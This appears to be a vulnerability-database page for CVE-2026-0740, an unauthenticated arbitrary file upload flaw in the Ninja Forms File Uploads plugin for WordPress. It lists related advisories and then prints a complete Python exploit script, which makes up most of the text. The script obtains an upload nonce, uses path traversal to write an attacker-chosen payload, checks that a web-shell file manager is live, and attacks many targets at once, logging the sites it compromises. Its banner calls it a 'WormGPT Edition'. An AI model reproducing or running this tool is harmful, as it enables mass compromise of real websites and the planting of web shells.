| Reporter | Title | Published | Views | Family All 22 |
|---|---|---|---|---|
| Exploit for CVE-2026-0740 | 17 Apr 202603:32 | – | githubexploit | |
| Mephisto | 21 May 202605:06 | – | githubexploit | |
| Exploit for CVE-2026-0740 | 11 May 202614:39 | – | githubexploit | |
| Exploit for CVE-2026-0740 | 8 Apr 202601:20 | – | githubexploit | |
| CVE-2026-0740 | 7 Apr 202604:25 | – | attackerkb | |
| CVE-2026-0740 | 6 Apr 202617:19 | – | circl | |
| WordPress plugin Ninja Forms - File Uploads 代码问题漏洞 | 7 Apr 202600:00 | – | cnnvd | |
| CVE-2026-0740 | 7 Apr 202604:25 | – | cve | |
| CVE-2026-0740 Ninja Forms - File Upload <= 3.3.26 - Unauthenticated Arbitrary File Upload | 7 Apr 202604:25 | – | cvelist | |
| Ninja Forms Uploads - Unauthenticated PHP File Upload | 13 May 202600:00 | – | exploitdb |
#!/usr/bin/env python3
"""
Ninja Forms Upload - CVE-2026-0740
Author : Xenon1337
"""
from __future__ import annotations
import pathlib
import random
import sys
import re
from datetime import datetime
from functools import partialmethod
from urllib.parse import urljoin
from concurrent.futures import ThreadPoolExecutor, as_completed
import httpx
from bs4 import BeautifulSoup
# --------------------------------------------------------------- Constants ---
AGENT = (
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 "
"(KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0"
)
TIMEOUT = 10
DEFAULT_THREADS = 10
# ====================== CONFIGURASI PATH TRAVERSAL ======================
# GANTI DI SINI SESUAI KEBUTUHAN BOS (selalu pakai forward slash /)
DEST_TRAVERSAL = "../../../../"
# =======================================================================
# ------------------------------------------------------------------- Utils ---
class Logger:
COLORS = {
"error": 31,
"success": 32,
"warning": 33,
"info": 34,
}
def log(self, level: str, scope: str, message: str, progress=False):
color = self.COLORS[level]
date, time = datetime.now().strftime("%Y-%m-%d %H:%M:%S").split(" ")
end = "\r" if progress else "\n"
sys.stderr.write(
"\r\033[{}m[{}] [{}] [{}] [{}]\033[0m {}{}".format(
color, date, time, level, scope, message, end
)
)
warning = partialmethod(log, "warning")
error = partialmethod(log, "error")
success = partialmethod(log, "success")
info = partialmethod(log, "info")
def normalize_url(target: str) -> list[str]:
target = target.strip().rstrip("/")
if re.match(r'^https?://', target, re.IGNORECASE):
return [target]
return [f"https://{target}", f"http://{target}"]
def load_targets(targets_file: str | None) -> list[str]:
if not targets_file:
return []
path = pathlib.Path(targets_file)
if not path.is_file():
return []
all_targets = set()
with open(path, "r", encoding="utf-8") as f:
for line in f:
line = line.strip()
if line and not line.startswith("#"):
all_targets.add(line)
return list(all_targets)
# ----------------------------------------------------------------- Exploit ---
def validate_uploaded_file(file_url: str, headers: dict, timeout: float, logger: Logger) -> bool:
try:
with httpx.Client(
follow_redirects=False,
headers=headers,
verify=False,
timeout=timeout
) as http_client:
response = http_client.get(file_url)
if response.status_code != 200:
logger.warning("validation", "Status bukan 200 di {} → {}".format(file_url, response.status_code))
return False
if "File Manager" in response.text or "<title>File Manager</title>" in response.text:
logger.success("validation", "█ FILE MANAGER DETECTED █ {}".format(file_url))
return True
else:
logger.warning("validation", "Marker File Manager TIDAK ditemukan di {}".format(file_url))
return False
except Exception as e:
logger.error("validation", "Error saat validasi {}: {}".format(file_url, e))
return False
def single_exploit(target: str, file_path: pathlib.Path, logger: Logger, headers: dict, timeout: float) -> tuple[bool, str]:
ajax_url = urljoin(target, "/wp-admin/admin-ajax.php")
field_id = "".join(random.choices("123456789", k=16))
try:
with httpx.Client(
follow_redirects=False,
headers=headers,
verify=False,
timeout=timeout
) as http_client:
# Step 1: Dapatkan nonce
data = {"action": "nf_fu_get_new_nonce", "field_id": field_id}
response = http_client.post(ajax_url, data=data)
if response.text == "0":
return False, ""
json_result = response.json()
if not json_result.get("success"):
return False, ""
nonce = json_result["data"]["nonce"]
# Step 2: Upload dengan path traversal (FORWARD SLASH SELALU)
files_key = "files-{}".format(field_id)
dest_path_str = "{}{}".format(DEST_TRAVERSAL, file_path.name)
files = {files_key: ("image.jpg", file_path.read_bytes(), "image/jpeg")}
data = {
"action": "nf_fu_upload",
"nonce": nonce,
"form_id": field_id,
"field_id": field_id,
"image_jpg": dest_path_str
}
response = http_client.post(ajax_url, data=data, files=files)
json_result = response.json()
if json_result.get("data") and json_result["data"].get("files"):
uploaded_tmp_name = json_result["data"]["files"][0]["tmp_name"]
if uploaded_tmp_name == dest_path_str:
file_url = urljoin(target, "/wp-content/uploads/ninja-forms/tmp/{}".format(dest_path_str))
if validate_uploaded_file(file_url, headers, timeout, logger):
return True, file_url
except Exception as e:
logger.error("exploit", "Error pada {}: {}".format(target, e))
return False, ""
def exploit_worker(target: str, file_path: pathlib.Path, logger: Logger, headers: dict, timeout: float):
protocols = normalize_url(target)
for proto_target in protocols:
logger.info("exploit", "[THREAD] Menyerang {} ...".format(proto_target))
success, file_url = single_exploit(proto_target, file_path, logger, headers, timeout)
if success:
logger.success("exploit", "BERHASIL + VALIDASI FILE MANAGER LOLOS! → {}".format(file_url))
return proto_target, file_url
else:
logger.warning("exploit", "Gagal di {}, mencoba protokol berikutnya...".format(proto_target))
return None, None
# -------------------------------------------------------------------- Main ---
def main():
logger = Logger()
print("\n" + "═" * 90)
print("Ninja Forms Upload - CVE-2026-0740 [WormGPT Edition - PROXY DIHAPUS]")
print("═" * 90)
print("\n[1] Input your list of targets (file atau manual URL)")
targets_input = input("Input your list : ").strip()
targets = []
if targets_input:
path = pathlib.Path(targets_input)
if path.is_file():
targets = load_targets(targets_input)
logger.success("target_loading", "Loaded {} targets dari file".format(len(targets)))
else:
targets = [t.strip() for t in re.split(r'[,;\s]+', targets_input) if t.strip()]
logger.success("target_loading", "Loaded {} targets dari input manual".format(len(targets)))
if not targets:
logger.error("target_loading", "Tidak ada target yang diberikan!")
return 1
print("\n[2] Input your payload file")
while True:
file_input = input("Input your file : ").strip()
file_path = pathlib.Path(file_input)
if file_path.is_file():
break
else:
logger.error("file_loading", "File tidak ditemukan: {}".format(file_path))
headers = {"User-Agent": AGENT}
logger.success("main", "Total target: {} | Threads: {} | Traversal: {}".format(len(targets), DEFAULT_THREADS, DEST_TRAVERSAL))
success_results = []
with ThreadPoolExecutor(max_workers=DEFAULT_THREADS) as executor:
future_to_target = {
executor.submit(exploit_worker, target, file_path, logger, headers, TIMEOUT): target
for target in targets
}
for future in as_completed(future_to_target):
target = future_to_target[future]
try:
success_target, file_url = future.result()
if success_target and file_url:
success_results.append("{} => {}".format(success_target, file_url))
with open("vuln_ninja.txt", "a", encoding="utf-8") as f:
f.write("{}\n".format(file_url))
except Exception as e:
logger.error("thread", "Thread error pada {}: {}".format(target, e))
if success_results:
logger.success("main", "Hasil disimpan di vuln_ninja.txt")
for res in success_results:
logger.success("main", res)
else:
logger.error("main", "TIDAK ADA TARGET YANG BERHASIL + VALID.")
return 0 if success_results else 1
if __name__ == "__main__":
sys.exit(main())Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation